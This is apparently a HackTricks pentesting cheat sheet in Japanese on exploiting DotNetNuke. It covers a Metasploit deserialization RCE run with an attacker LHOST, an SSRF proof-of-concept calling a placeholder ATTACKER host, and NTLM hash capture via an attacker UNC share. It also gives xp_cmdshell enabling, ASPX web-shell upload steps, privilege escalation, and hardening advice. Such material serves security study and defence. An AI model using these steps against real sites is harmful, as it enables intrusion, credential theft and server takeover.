DotNetNuke (DNN)
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
DotNetNuke (DNN)
DNNに管理者としてログインすると、RCEを取得するのは簡単ですが、過去数年で未認証および認証後の技術がいくつか公開されています。以下のチートシートは、攻撃的および防御的な作業のための最も有用なプリミティブを集めています。
バージョンと環境の列挙
- X-DNN HTTPレスポンスヘッダーを確認してください – 通常、正確なプラットフォームバージョンが開示されます。
- インストールウィザードは、
/Install/Install.aspx?mode=install
でバージョンを漏洩します(非常に古いインストールでアクセス可能)。 /API/PersonaBar/GetStatus
(9.x)は、低権限ユーザー向けに"dnnVersion"
を含むJSONブロブを返します。- 実行中のインスタンスで見る典型的なクッキー:
.DOTNETNUKE
– ASP.NETフォーム認証チケット。DNNPersonalization
– XML/シリアライズされたユーザープロファイルデータを含みます(古いバージョン – 下記のRCEを参照)。
未認証の悪用
1. クッキーのデシリアライズによるRCE (CVE-2017-9822 & フォローアップ)
影響を受けるバージョン ≤ 9.3.0-RC
DNNPersonalization
は、組み込みの404ハンドラーが有効な場合、すべてのリクエストでデシリアライズされます。したがって、作成されたXMLは任意のガジェットチェーンとコード実行につながる可能性があります。
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
モジュールは、パッチが適用されているが依然として脆弱なバージョン(CVE-2018-15811/15812/18325/18326)に対して正しいパスを自動的に選択します。 7.x–9.1.xでは認証なしで、9.2.x+では確認済みの低権限アカウントでの悪用が可能です。
2. サーバーサイドリクエストフォージェリ (CVE-2025-32372)
影響を受けるバージョン < 9.13.8 – パッチは2025年4月にリリース
古いDnnImageHandler
の修正をバイパスすることで、攻撃者はサーバーに任意のGETリクエストを発行させることができます(セミブラインドSSRF)。 実際の影響:
- クラウド展開における内部ポートスキャン / メタデータサービスの発見。
- インターネットからファイアウォールで保護されたホストへの到達。
概念実証(TARGET
とATTACKER
を置き換えてください):
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
リクエストはバックグラウンドでトリガーされます; コールバックのためにリスナーを監視してください。
3. NTLMハッシュの露出 via UNCリダイレクト (CVE-2025-52488)
影響を受けるバージョン 6.0.0 – 9.x (< 10.0.1)
特別に作成されたコンテンツにより、DNNは \\attacker\share\img.png
のような UNCパス を使用してリソースを取得しようとします。 Windowsは喜んでNTLMネゴシエーションを行い、サーバーアカウントのハッシュを攻撃者に漏洩させます。 10.0.1 にアップグレードするか、ファイアウォールでアウトバウンドSMBを無効にしてください。
4. IPフィルターバイパス (CVE-2025-52487)
管理者が管理ポータルの保護のために Host/IPフィルター に依存している場合、10.0.1 より前のバージョンはリバースプロキシシナリオで X-Forwarded-For
を操作することでバイパスされる可能性があることに注意してください。
認証後のRCE
SQLコンソール経由
Settings → SQL
の下にある組み込みクエリウィンドウを使用して、サイトデータベースに対して実行できます。 Microsoft SQL Serverでは、xp_cmdshell
を有効にしてコマンドを生成できます:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
ASPXウェブシェルのアップロード経由
- **
設定 → セキュリティ → その他 → その他のセキュリティ設定
**に移動します。 - 許可されるファイル拡張子に
aspx
(またはasp
)を追加し、保存します。 - **
/admin/file-management
**に移動し、shell.aspx
をアップロードします。 - **
/Portals/0/shell.aspx
**でトリガーします。
Windowsでの特権昇格
**IIS AppPool<Site>**としてコード実行が達成されると、一般的なWindows特権昇格技術が適用されます。ボックスが脆弱であれば、次のことを利用できます:
- PrintSpoofer / SpoolFoolを使用してSeImpersonatePrivilegeを悪用します。
- Juicy/Sharp Potatoesを使用してサービスアカウントから脱出します。
ハードニング推奨事項(ブルーチーム)
- 9.13.9(SSRFバイパスの修正)以上にアップグレードするか、できれば10.0.1(IPフィルターおよびNTLMの問題)にアップグレードします。
- インストール後に残存する**
InstallWizard.aspx*
**ファイルを削除します。 - アウトバウンドSMB(ポート445/139)を無効にします。
- DNN内ではなく、エッジプロキシで強力なホストフィルターを強制します。
- 使用していない場合は
/API/RemoteContentProxy
へのアクセスをブロックします。
参考文献
- Metasploit
dnn_cookie_deserialization_rce
モジュールのドキュメント – 実用的な認証なしRCEの詳細(GitHub)。 - GitHubセキュリティアドバイザリーGHSA-3f7v-qx94-666m – 2025年のSSRFバイパスおよびパッチ情報。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。